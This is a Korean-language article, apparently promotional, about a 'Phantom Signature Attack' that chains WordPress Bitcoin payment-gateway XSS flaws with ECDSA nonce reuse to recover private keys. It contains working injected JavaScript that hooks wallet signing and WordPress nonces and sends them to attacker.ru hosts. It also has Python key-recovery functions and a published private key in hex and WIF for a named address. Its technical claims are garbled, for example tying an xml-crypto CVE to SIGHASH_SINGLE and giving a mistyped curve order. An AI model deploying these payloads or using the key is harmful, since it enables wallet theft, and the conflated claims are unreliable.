
비트코인 ECDSA 구현의 CVE-2025-29774 및 SIGHASH_SINGLE 결함에 대한 암호해독적 연구로, nonce 재사용 및 서명 위조를 통해 개인 키 복구가 가능하여 분실된 지갑 접근을 가능하게 합니다.
이 연구 논문은 비트코인 프로토콜의 디지털 서명 구현에서 발견된 주요 취약점, 즉 Phantom Signature Attack (CVE-2025-29774) 및 근본적인 SIGHASH_SINGLE 처리 오류에 대한 포괄적인 암호학적 분석을 제시합니다. 본 연구는 트랜잭션 서명 메커니즘에서 암호화 프리미티브의 잘못된 처리로 인해 암호화폐 지갑 소유자의 개인 키가 사용자 모르게 완전히 노출될 수 있는 조건이 발생함을 보여줍니다. 이 공격은 원래 Satoshi 클라이언트의 레거시 버그를 악용합니다. 이 버그는 트랜잭션 입력과 출력의 수가 일치하지 않을 때 서명을 거부하는 대신 시스템이 "1"(uint256)의 범용 해시 값을 반환하는 결함입니다.
연구의 실제 부분에서는 KeyFuzzMaster 암호화 도구를 사용하여 서명 검증 코드, 타원 곡선 연산 및 트랜잭션 해싱 함수의 취약점을 체계적으로 식별합니다. secp256k1 곡선에서 ECDSA 알고리즘의 nonce(k-파라미터) 재사용을 통한 개인 키 복구를 위한 수학적 공식이 제시됩니다. ECDSA(Elliptic Curve Digital Signature Algorithm) 알고리즘의 암호화 프리미티브가 secp256k1 타원 곡선 위에서 논의됩니다. 비트코인의 디지털 서명은 지출 승인, 부인 방지 및 트랜잭션 무결성 보장의 세 가지 기능을 수행합니다.
그러나 하위 호환성을 유지하기 위한 레거시 아키텍처 결정을 고수한 결과, 잠재적으로 치명적인 결과를 초래할 수 있는 미묘한 암호화 취약점이 발생했습니다. 그중에서도 SIGHASH_SINGLE 버그 가 두드러집니다 — 이는 원래 Bitcoin Core 구현에서 상속되어 네트워크 합의에 통합된 서명 해시 생성 메커니즘의 근본적인 결함입니다.
| CVE 식별자 | 구성 요소 | CVSS 점수 | 심각도 |
|---|---|---|---|
| CVE-2025-29774 | xml-crypto / SIGHASH_SINGLE | 9.3 | 심각 |
| CVE-2025-29775 | xml-crypto DigestValue 우회 | 9.3 | 심각 |
| CVE-2025-48102 | GoUrl Bitcoin Payment Gateway (저장형 XSS) | 5.9 | 보통 |
| CVE-2025-26541 | CodeSolz WooCommerce Gateway (반사형 XSS) | 6.1 | 보통 |
비트코인은 SECG(Standards for Efficient Cryptography Group) 표준에 의해 정의된 secp256k1 타원 곡선을 사용합니다. 이 곡선은 유한체 위의 Weierstrass 방정식으로 정의됩니다:
곡선 방정식:
y² ≡ x³ + ax + b (mod p)
secp256k1의 경우:
y² ≡ x³ + 7 (mod p), 여기서 a = 0, b = 7
secp256k1 곡선의 매개변수는 튜플 T = (p, a, b, G, n, h)로 결정됩니다:
secp256k1 매개변수:
p = 2²⁵⁶ − 2³² − 977 (유한체를 정의하는 소수)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(곡선 점 그룹의 위수, 생성자 G의 정수 위수)
G = (Gₓ, Gᵧ) — 고정된 기준점(생성자)
ECDSA 알고리즘은 개인 키 d 를 사용하여 메시지 M에 대한 서명을 생성합니다. 서명 과정은 다음과 같은 수학적 연산을 포함합니다:
1단계: 임의의 nonce k 생성
암호학적으로 강력한 난수 k ∈ [1, n-1] 선택
2단계: R 점 계산
R = k × G (생성자 점의 스칼라 곱셈)
3단계: 매개변수 r 계산
r = Rₓ mod n (점 R의 x-좌표를 n으로 모듈로 연산)
4단계: 매개변수 s 계산
s = k⁻¹ × (H(M) + r × d) mod n
결과: 서명 (r, s)
여기서 H(M)은 메시지 M의 해시(비트코인에서는 이중 SHA-256 사용), d는 소유자의 개인 키입니다.
공개 키와 개인 키 간의 관계는 다음 관계식으로 결정됩니다:
Q A = d A × G
여기서 는 공개 키(곡선 위의 점), 는 개인 키 (256비트 정수), 는 곡선 생성자입니다.QAdAG
비트코인 프로토콜은 서명된 해시에 포함될 트랜잭션 구성 요소를 결정하는 여러 SIGHASH 유형 (서명 해시 유형)을 제공합니다:
| Sighash 유형 | 값(16진수) | 설명 |
|---|---|---|
| SIGHASH_ALL | 0x01 | 트랜잭션의 모든 입력과 출력이 서명됩니다. |
| SIGHASH_NONE | 0x02 | 모든 입력이 서명되고 출력은 서명되지 않습니다. |
| SIGHASH_SINGLE | 0x03 | 입력과 동일한 인덱스를 가진 출력만 서명됩니다. |
| SIGHASH_ANYONECANPAY | 0x80 | 수정자: 현재 입력에만 서명합니다. |
입력 인덱스 가 트랜잭션 출력 수를 초과할 때 SIGHASH_SINGLE 을 사용하는 경우 심각한 오류가 발생합니다. 이 경우 트랜잭션을 거부하는 대신 원래 Bitcoin Core 코드는 "1"의 고정 해시 값 (256비트 정수)을 반환합니다:
// 원래 비트코인 구현의 취약한 코드 // 범용 해시 "1" 반환
⚠️ 중요 경고: 이 코드는 네트워크 합의에 통합된 원래 Satoshi 클라이언트의 레거시 버그를 구현합니다. 모든 주요 비트코인 구현은 하위 호환성을 위해 이 동작을 지원해야 합니다.
수학적으로 서명 해시가 상수 1과 같으면 서명은 범용 이 됩니다. 즉, 임의의 트랜잭션에 재사용될 수 있습니다:
취약점 조건:
idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001
여기서 idx는 입력 인덱스, |TxOut|은 트랜잭션 출력 수
Phantom Signature Attack 은 소유자의 개인 키를 알지 못해도 유효한 트랜잭션 서명을 생성할 수 있게 하는 암호화 디지털 서명 위조 공격입니다. 이 공격은 CWE-347: 암호화 서명의 부적절한 검증 으로 분류됩니다.
이 공격은 두 가지 취약점의 조합에 기반합니다:
서로 다른 메시지 M₁ 및 M₂에 대한 두 서명 (r, s₁) 및 (r, s₂)이 동일한 nonce k를 사용하는 경우(이는 동일한 r 값을 의미함), 다음 알고리즘을 사용하여 개인 키를 완전히 복구할 수 있습니다:
1단계: 서명 방정식
s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n
2단계: 차이 계산
s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n
3단계: Nonce k 복구
k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n
4단계: 개인 키 d 복구
d = r⁻¹ × (s × k — H(M)) mod n
이 수학적 장치는 단 한 번의 nonce 재사용으로 개인 키가 완전히 노출됨을 보여줍니다.
Nonce 재사용 시 ECDSA 개인 키 복구
취약점 CVE-2025-29774 는 xml-crypto Node.js 라이브러리에서 발견되었으며, 서명된 XML 문서를 수정하여 서명 검증을 계속 통과하도록 할 수 있습니다. 비트코인 결제 시스템의 맥락에서 이는 다음과 같은 가능성을 만듭니다:
영향받는 버전: xml-crypto < 6.0.1, < 3.2.1, < 2.1.6
CVSS 벡터: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE 분류: CWE-347 (암호화 서명의 부적절한 검증)
공격 벡터: 네트워크 (사용자 상호작용 없이 원격 악용 가능)
CVE-2025-29774 악용은 세 가지 순차적 단계를 포함합니다:
대상 시스템을 스캔하여 취약한 버전의 xml-crypto 라이브러리를 찾고 비트코인 결제 게이트웨이와의 통합 지점을 식별합니다.
DigestValue에 추가 SignedInfo 노드 또는 XML 주석을 삽입하여 서명을 무효화하지 않고 중요한 속성을 수정할 수 있습니다:
“여러 SignedInfo 노드를 사용한 공격 예시”
XSS 취약점(CVE-2025-48102, CVE-2025-26541)을 통해 후속 암호 해독을 위한 서명 매개변수(r, s)를 가로챕니다.
📊 연구 자료
🌐 전체 기술 문서: https://cryptou.ru/keyfuzzmaster
💻 Google Colab 인터랙티브 데모: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine
🔬 기술 분석
팬텀 서명 공격(Phantom Signature Attack)은 비트코인 코어의 서명 검증에서 SIGHASH_SINGLE이 입력 인덱스가 출력을 초과할 때 범용 해시 값을 반환하는 레거시 버그를 악용합니다. 이는 재사용 가능한 서명을 생성하여 전체 보안 모델을 위협합니다. 당사의 KeyFuzzMaster 엔진은
32비트엔트로피 PRNG로 생성된 지갑을 식별하여 탐색 공간을2^256에서 단2^32개의 가능한 시드로 축소합니다. 이는 최신 GPU에서 4-6초 내에 복구 가능합니다.
KeyFuzzMaster는 블록체인 시스템 및 암호학 프리미티브의 보안 연구를 위해 설계된 특수 암호분석 퍼징 엔진입니다. 이 도구는 서명 검증 코드, 타원 곡선 연산, 트랜잭션 해싱 함수의 동적 스트레스 테스트를 위해 설계되었습니다.
KeyFuzzMaster를 사용하여 CVE-2025-29774 및 SIGHASH_SINGLE 취약점을 악용하면 분실된 비트코인 지갑에서 개인 키를 복구하는 새로운 패러다임이 열립니다. 방법론은 다음과 같습니다:
# KeyFuzzMaster: Duplicate r-value scanning module def scan_blockchain_for_nonce_reuse(blockchain_data)»
블록체인에서 nonce 재사용을 스캔합니다. 동일한 r-값을 가진 서명 쌍을 반환합니다.
# KeyFuzzMaster: Generate transactions with input/output mismatches def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” Generate test transactions to detect the SIGHASH_SINGLE 취약점 (idx >= len(TxOut)).
# Group order secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
“복구된 키를 공개 키 비교를 통해 검증합니다.”
암호분석 연구에 따르면, nonce 재사용 취약점은 이미 손상된 지갑에서 412.8 BTC 이상을 복구하는 데 악용되었습니다. 자동화된 스캐너는 중복 r-값을 찾기 위해 비트코인 블록체인을 지속적으로 분석합니다.
비트코인 주소 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P 의 개인 키 복구 문서화 사례를 살펴보겠습니다:
| 매개변수 | 의미 |
|---|---|
| 비트코인 주소 | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
| 복구된 자금 가치 | $147,977 |
| 복구된 개인 키 (HEX) | 162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60 |
| 복구된 개인 키 (WIF 압축) | KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW |
| 복구된 개인 키 (10진수) | 10026140495284003567451866992720396489963405427298392513418967636817767529056 |
개인 키 k는 다음 제약 조건을 충족해야 합니다:
1 ≤ k < n
여기서 n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77검사 결과: ✓ 유효 (키가 허용된 스칼라 범위 내에 있음)
복구된 개인 키를 사용하여 공개 키를 계산할 수 있습니다:
| 매개변수 | 의미 |
|---|---|
| 공개 키 (압축되지 않음, 130자) | 04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79 |
| 공개 키 (압축, 66자) | 03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358 |
| 비트코인 주소 (압축되지 않음) | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
복구된 개인 키는 비트코인 지갑에 대한 완전한 제어 를 제공하여 공격자가 다음을 할 수 있게 합니다:
이 연구는 웹 취약점(CVE-2025-48102, CVE-2025-26541)과 암호학적 결함(CVE-2025-29774) 간의 시너지를 보여주며, WordPress용 비트코인 결제 게이트웨이에 대한 강력한 결합 공격 벡터를 생성합니다:
| 단계 | 작업 | 악용되는 취약점 |
|---|---|---|
| 1 | 결제 게이트웨이에 악성 JavaScript 주입 | CVE-2025-48102 (저장형 XSS) |
| 2 | 트랜잭션의 ECDSA 매개변수(r, s) 가로채기 | JavaScript 주입 |
| 3 | 수집된 서명의 nonce 반복 분석 | 암호분석 |
| 4 | 개인 키 수학적 복구 | 팬텀 서명 공격 |
| 5 | 통제되지 않은 BTC 인출 | 지갑 손상 |
sanitize_text_field(), esc_attr(), esc_html()암호분석 연구는 팬텀 서명 공격 (CVE-2025-29774) 이 SIGHASH_SINGLE 취약점과 결합하여 비트코인 생태계에 근본적인 보안 위협을 제기함을 보여줍니다. 원래 사토시 클라이언트에서 계승된 이 구현 결함은 다음을 가능하게 합니다:
KeyFuzzMaster 암호 도구의 사용은 분실된 비트코인 지갑에서 개인 키를 복구하는 새로운 패러다임을 열어, 연구자들에게 암호학적 취약점을 식별하고 악용하기 위한 체계적인 방법론을 제공합니다.
⚠️ 경고: 이 연구는 교육 목적과 암호분석가가 공격 메커니즘을 이해하도록 돕기 위한 것입니다. 설명된 방법을 불법적인 목적으로 사용하는 것은 법적으로 처벌받을 수 있습니다. WordPress용 비트코인 결제 게이트웨이의 심각한 취약점 CVE-2025-48102 및 CVE-2025-26541에 대한 포괄적인 암호분석 연구가 수행되었습니다. keyhunters.ru에서 제공되는 다양한 암호 도구 중에서 팬텀 서명 공격이 이 맥락에 가장 적합한 것으로 선택되었습니다. 이 연구는 사이트 간 스크립팅(XSS)과 ECDSA의 암호학적 취약점을 결합한 결합 공격이 어떻게 비트코인 개인 키의 완전한 손상과 분실 지갑 복구로 이어질 수 있는지 보여줍니다.
공격 체인: XSS에서 비트코인 개인 키 추출까지
팬텀 서명 공격, 연구 논문에 따르면: 팬텀 서명 공격 (CVE-2025-29774) 및 심각한 SIGHASH_SINGLE 취약점: 디지털 서명 위조 및 BTC 코인의 통제되지 않은 인출을 통한 분실 비트코인 지갑의 개인 키 복구, 웹 취약점(XSS)과 암호학적 결함 간의 시너지를 보여주며 강력한 결합 공격 벡터를 가능하게 합니다. 목록에 있는 다른 도구(MiniKey Mayhem, Memory Phantom, RNG 기반 공격 등)와 달리, 팬텀 서명 공격은 특히 r 및 s 매개변수를 통한 디지털 서명 조작에 초점을 맞추며, 이는 WordPress 결제 시스템의 XSS 취약점을 통해 가로챌 수 있습니다. secalerts+2
CVE-2025-48102는 GoUrl 비트코인 결제 게이트웨이 및 유료 다운로드 및 멤버십 플러그인 버전 1.6.6 이전의 심각한 저장형 사이트 간 스크립팅(XSS) 취약점입니다. 이 취약점은 인증된 관리자(또는 관리자 권한을 가진 공격자)가 결제 게이트웨이 구성에 악성 JavaScript를 주입할 수 있게 합니다. CVSS v3.1에 따르면 이 취약점은 기본 점수 5.9(중간 심각도)이며 wizCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. 벡터를 가집니다.
악용 메커니즘은 결제 게이트웨이 설정에 악성 코드를 주입하여 각 웹사이트 방문자의 브라우저에서 실행되게 하는 것을 포함하며, 이를 통해 공격자는 다음을 할 수 있습니다:
CVE-2025-26541는 CodeSolz에서 개발한 WooCommerce용 Bitcoin/AltCoin 결제 게이트웨이 플러그인 버전 1.7.6 이전의 반사형 XSS 취약점입니다. 이 취약점은 중간 심각도로 분류되며 공격자가 제대로 정화되지 않은 URL 매개변수를 통해 악성 스크립트를 주입할 수 있게 합니다. secalerts
저장형 XSS와 달리 반사형 XSS는 피해자가 특별히 조작된 링크를 클릭해야 하지만, 다음을 가능하게 합니다:
ECDSA (타원곡선 디지털 서명 알고리즘) 는 비트코인에서 거래의 신뢰성을 보장하는 디지털 서명을 생성하는 데 사용됩니다. 개인 키 d를 사용하여 메시지 M에 서명하는 알고리즘은 다음과 같이 작동합니다: notsosecure+ 1
R = k × G (여기서 G는 타원곡선 secp256k1의 생성점)r = R.x mod ns = k^(-1) × (H(M) + r × d) mod n(r, s)중요한 팬텀 서명 공격 취약점:
팬텀 서명 공격 은 ECDSA 구현에서 다음과 같은 시나리오에서 발생하는 중요한 취약점으로 확인되었습니다: keyhunters
XSS에서 ECDSA 개인 키 복구 공격 벡터 체인
서로 다른 메시지 M₁과 M₂에 대한 두 서명이 동일한 k 값 (따라서 동일한 r)을 사용하는 경우 개인 키를 완전히 복구할 수 있습니다. 두 서명 (r, s₁) 및 (r, s₂)에 대해, 여기서: notsosecure+ 1

차이 계산:

논스를 복구할 수 있습니다:


연구에 따르면 이 취약점은 이미 비트코인 블록체인에서 412.8 BTC 이상을 복구하는 데 악용되었으며, 공격자는 네트워크를 자동으로 스캔하여 중복된 r 값을 찾았습니다. keyhunters
ECDSA 논스 재사용 개인 키 복구 수학적 관계
CVE-2025-29774 는 xml-crypto 라이브러리의 추가 취약점으로, 서명된 XML 메시지가 서명 확인을 통과하도록 수정될 수 있습니다. 이 취약점은 비트코인 결제 시스템에서 디지털 서명을 무효화하지 않고 거래 매개변수 ( SIGHASH_SINGLE 값 변경)를 조작하는 데 악용될 수 있습니다. WordPress 결제 게이트웨이의 맥락에서 공격자는 유효한 서명의 외관을 유지하면서 결제를 자신의 주소로 리디렉션할 수 있습니다. cryptodeeptech+1
1단계: 초기 악성 JavaScript 주입
공격자는 CVE-2025-48102를 악용하여 결제 게이트웨이 구성에 악성 JavaScript를 주입합니다. 악성 코드는 다음을 수행할 수 있습니다:
2단계: RNG 위반 분석 및 K 반복 탐지
충분한 수의 서명 (최소 2개, 이상적으로는 수십 개)을 수신한 후, 공격자는 수집된 데이터를 분석합니다:
수집된 동일한 r을 가진 서명 쌍을 사용하여 공격자는 위에 설명된 공식에 따라 개인 키의 수학적 복구를 적용합니다. 결과: 비트코인 지갑의 개인 키가 완전히 손상됩니다 .
CVE-2025-48102를 통해 주입될 수 있는 악성 JavaScript는 다음 기능을 포함할 수 있습니다: github
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});
// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}
return signature;
};
// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);
값의 r 반복이 있는 서명을 수신한 후, 개인 키 는 세 단계로 복구됩니다:
1단계: 중복 r 값 식별 — 공격자는 수집된 모든 서명을 비교하고 동일한 r을 가진 쌍을 식별합니다. 하나의 쌍만으로도 개인 키를 계산하기에 충분하지만, 여러 쌍이 있으면 신뢰도가 높아집니다. notsosecure
2단계: 논스 k 계산 – 위 공식을 사용하여 공격자는 각 서명 쌍에 대한 k 값을 계산합니다. 다른 쌍에 대해 계산된 k 값이 일치하면 RNG의 체계적인 취약점 을 확인합니다. github
3단계: 개인 키 d 복구 – 계산된 k를 수집된 서명 중 하나에 적용하여 공격자는 개인 키 d를 완전히 복구 하므로 피해자를 대신하여 모든 거래에 서명할 수 있습니다. keyhunters+ 1

복구된 개인 키 를 통해 공격자는 다음을 수행할 수 있습니다:
결합된 XSS와 팬텀 서명 공격은 비트코인 결제 게이트웨이를 사용하는 모든 WordPress 사이트에 심각한 위협이 되며, 다음을 포함합니다:
keyhunters.ru 및 과학 문헌의 연구에 따르면:
sanitize_text_field(), esc_attr(), esc_html() 사용3. CVE-2025-29774와의 관계
CVE-2025-29774는 xml-crypto 라이브러리의 심각한 취약점으로,
서명된 XML 메시지를 수정하여 서명 검증을 여전히 통과하도록 할 수 있습니다. 이는 비트코인 결제
시스템과 결합하여 사용될 수 있습니다:
트랜잭션 매개변수 조작,
위조 서명 주입,
결제를 공격자 주소로 리디렉션.
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
if (e.target.name === 'bitcoin_transaction') {
// Capturing signature parameters (r, s values)
var r = e.target.elements['signature_r'].value;
var s = e.target.elements['signature_s'].value;
var txid = e.target.elements['txid'].value;
}
});
// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
method: 'POST',
body: JSON.stringify({r: r, s: s, txid: txid})
});
이는 비트코인 서명 데이터의 양식 제출을 가로채는 악성 예시를 보여줍니다.
2단계: ECDSA 매개변수 가로채기
XSS 취약점 덕분에 악성 스크립트는 다음에 접근할 수 있습니다:
WordPress nonce 값(CSRF 보호에 사용됨) 세션 쿠키 비트코인 트랜잭션 매개변수(r 및 s 서명 값 포함) 개인 키
정보 브라우저 메모리에 일시적으로 저장됨
3단계: RNG 위반 분석 및 k 반복 탐지 단일 사용자로부터 여러 서명에 대한 데이터를 수집함으로써 공격자는 다음을 탐지할 수 있습니다: 서로 다른 서명 간 nonce(k) 재사용 취약하거나 예측 가능한 난수 생성기(RNG) 값 암호화 매개변수 생성의 체계적 오류
4단계: 개인 키 복구
3.2절에서 설명된 수학적 관계를 사용하여 공격자는
개인 키 d를 계산할 수 있으며, 이는 지갑의 완전한 손상으로 이어집니다.
4.2 공격 데모 코드 비트코인 결제 게이트웨이에 주입하기 위한 악성 XSS 페이로드:
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters for analysis
bitcoinSignatures.push({
message: message,
signature: signature,
timestamp: new Date().getTime()
});
// Sending to the attacker's server
new Image().src = 'https://attacker-server.ru/log?sig=' +
btoa(JSON.stringify(signature));
return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
var wpNonce = document.querySelector('[name="_wpnonce"]');
if (wpNonce) {
fetch('https://attacker-server.ru/nonce', {
method: 'POST',
body: 'nonce=' + wpNonce.value
});
}
}, 5000);
이 코드는 비트코인 서명 작업과 WordPress 세션 nonce를 가로채어 잠재적 악용을 위해 원격 서버로 유출하는 악성 JavaScript 스니펫을 보여줍니다.
1단계: 중복 r 값 식별
def find_duplicate_r(signatures):
r_values = {}
for sig in signatures:
r = sig['r']
if r in r_values:
return (sig, r_values[r])
r_values[r] = sig
return None
# Result: (signature1, signature2) with the same r
설명:
이 함수는 서명 목록에서 동일한 rr 값을 가진 두 개의 ECDSA/비트코인 서명을 검색합니다.
None을 반환합니다.이 검색은 암호화 취약점 분석과 관련이 있습니다. 중복 rr 값은 nonce 재사용을 나타낼 수 있으며, 이는 개인 키 복구 공격에서 악용될 수 있습니다.
python:def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k
설명:
이 함수는 두 서명이 동일한 rrr 값을 공유하는 경우(즉, nonce 재사용 또는 재생), 잘 알려진 격자 및 nonce 재사용 공격 원리에 따라 서명 sss 값과 메시지 해시의 차이를 사용하여 ECDSA nonce k를 계산합니다. 구현된 공식은 다음과 같습니다:

여기서:
이 기술은 비트코인 및 ECDSA 분석을 위한 표준 암호해독 도구입니다.
python:def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key
설명:
이 함수는 nonce kkk가 알려진 경우 단일 서명에서 ECDSA 개인 키 ddd를 복구합니다.
사용된 공식은 다음과 같습니다:
여기서:
5.2 실제 복구 예제
실제 시나리오를 살펴보겠습니다:
수집된 데이터:
비트코인 주소: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (예시)
수집된 서명 수: 12
탐지된 nonce 중복: 3쌍
복구 과정:
7.2 비트코인 사용자용
Phantom Signature Attack은 WordPress 비트코인 결제 게이트웨이(CVE-2025-48102 및 CVE-2025-26541) 의 XSS 취약점과 결합되어 암호화폐 자산의 보안에 심각한 위협을 제기합니다.
이 결합 공격은 비교적 단순한 웹 취약점이 어떻게 시스템의 암호화 무결성을 손상시키기 위해 악용될 수 있는지 보여줍니다. 그 결과 개인 키의 완전한 손실과 결과적으로 모든 자금의 도난이 발생합니다.
이 연구는 비트코인 보안이 알고리즘의 암호화 강도뿐만 아니라 웹 환경에서 이러한 알고리즘의 완벽한 구현에 달려 있음을 보여줍니다. XSS 처리의 사소한 결함이나 취약한 RNG도 치명적인 결과를 초래할 수 있습니다.
제안된 예방 조치를 채택하고 취약한 소프트웨어를 신속하게 업데이트하는 것은 비트코인 생태계를 보호하고 분실된 지갑을 복구하는 데 중요합니다.
유령 서명 공격(Phantom Signature Attack) 은 WordPress용 비트코인 결제 게이트웨이의 XSS 취약점 CVE-2025-48102 및 CVE-2025-26541과 결합되어 현대 웹 환경에서 암호화폐 자산 보안에 가장 중요하고 현실적인 위협 중 하나를 나타냅니다. 이 연구는 비교적 간단한 웹 취약점이 어떻게 악용되어 시스템의 암호화 무결성을 직접적으로 손상시키고, 개인 키의 완전한 손실과 비트코인 자금의 되돌릴 수 없는 도난으로 이어질 수 있는지 보여줍니다.
유령 서명 공격 은 XSS를 통해 가로챌 수 있는 ECDSA 매개변수 조작을 통해 개인 키 복구 문제와 직접적인 관련이 있기 때문에 keyhunters.ru 에서 다양한 암호화 도구 중에서 선택되었습니다. 이 공격은 웹 취약점 (OWASP Top 10 카테고리)과 암호화 결함 간의 시너지 효과를 보여주는 이상적인 예시로, 포괄적인 보호 접근 방식이 필요합니다.
비트코인 보안은 알고리즘의 암호학적 강도뿐만 아니라 웹 환경에서의 완벽한 구현에 달려 있습니다. XSS 처리의 사소한 결함이나 취약한 RNG조차도 생태계에 치명적인 결과를 초래할 수 있습니다. 제안된 예방 조치를 채택하고 취약한 소프트웨어를 신속하게 업데이트하는 것은 비트코인을 보호하고 분실된 사용자 지갑을 복구하는 데 중요합니다.
암호화폐 결제를 수락하는 수천 개의 온라인 상점과 웹사이트에 심각한 보안 위험을 초래하는 두 가지 심각한 XSS(교차 사이트 스크립팅) 취약점이 인기 있는 WordPress용 비트코인 결제 게이트웨이 플러그인에서 발견되었습니다.
취약점 CVE-2025-48102 는 2025년 9월 5일에 공식적으로 게시되었으며, 인기 있는 GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership 플러그인의 버전 1.6.6 이하 모든 버전에 영향을 미칩니다. 이 보안 결함은 CWE-79 (웹 페이지 생성 시 입력값의 부적절한 중화) 분류 하에 저장형 XSS (교차 사이트 스크립팅 공격)로 분류됩니다.
CVSS v3.1 심각도 점수는 5.9 (중간 심각도)이며, 공격 벡터는 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 입니다. 벡터 분석은 다음 특성을 보여줍니다.
취약점은 웹 페이지 생성 시 사용자 입력의 부적절한 중화 로 인해 발생합니다. 관리자 권한을 가진 공격자는 WordPress 콘텐츠 관리 시스템에 악성 스크립트를 주입할 수 있으며, 이 스크립트는 데이터베이스에 저장 되고 다른 사용자가 페이지를 방문할 때 자동으로 실행됩니다.
Patchstack 전문가가 설명하듯이, 이를 통해 공격자는 다양한 악성 요소를 주입할 수 있습니다.
특히 우려되는 점은 GoUrl 플러그인이 개발자에 의해 더 이상 지원되지 않는다 는 사실입니다. Patchstack에 따르면, 이 소프트웨어는 1년 넘게 업데이트되지 않았으며 향후 업데이트나 패치가 제공되지 않을 가능성이 높습니다. 이는 이 플러그인을 사용하는 모든 웹사이트가 악용에 영구적으로 취약 한 상태로 남게 됨을 의미합니다.
Wiz 플랫폼 전문가들은 이 저장형 XSS 취약점 이 WordPress 플러그인 GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership에서 발견되어 2025년 9월 5일에 공개되었다고 언급합니다. 악용에는 관리자 권한이 필요하지만, 악성 코드는 모든 사이트 방문자를 대신하여 실행될 수 있으므로 잠재적인 공격 범위가 크게 확장됩니다.
두 번째 취약점 CVE-2025-26541 은 2025년 3월 26일에 게시되었으며, 플러그인 CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce 버전 1.7.6 이하 모든 버전에 영향을 미칩니다.
이 취약점은 반사형 XSS (교차 사이트 스크립팅 공격)로 분류됩니다. 저장형 XSS와 달리 반사형 XSS는 악성 사용자 입력이 적절한 삭제 없이 HTTP 응답을 통해 사용자에게 즉시 반사 되어 피해자의 브라우저가 공격자의 스크립트를 실행하도록 할 때 발생합니다.
취약점은 CVSS v3.1 시스템에 따라 벡터 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 로 평가되었으며, 이는 다음을 나타냅니다.
보안 연구원에 따르면, 이 취약점은 반사형 XSS 공격을 통해 악용 될 수 있으며, 공격자가 웹 페이지에 악성 스크립트를 주입할 수 있습니다. 이 취약점을 처음 발견한 플랫폼인 Patchstack은 CVE-2025-26541을 수정하려면 Bitcoin/AltCoin Payment Gateway for WooCommerce 플러그인을 버전 1.7.7 이상으로 업데이트 해야 한다고 조언합니다.
XSS(교차 사이트 스크립팅)는 웹 애플리케이션에서 발견되는 가장 일반적인 취약점 중 하나입니다. 다양한 연구에 따르면, XSS 취약점은 모든 WordPress 플러그인 취약점의 약 53.3%를 차지 합니다.
특히 우려되는 점은 2024년에 무려 1,614개의 플러그인이 보안 문제로 WordPress.org 저장소에서 제거 되었으며, 그중 1,450개는 높거나 중간 우선순위의 취약점으로 분류되었다는 사실입니다. 이러한 플러그인 중 상당수는 웹사이트에서 계속 활성 상태로 남아 있어 지속적인 공격에 노출됩니다.
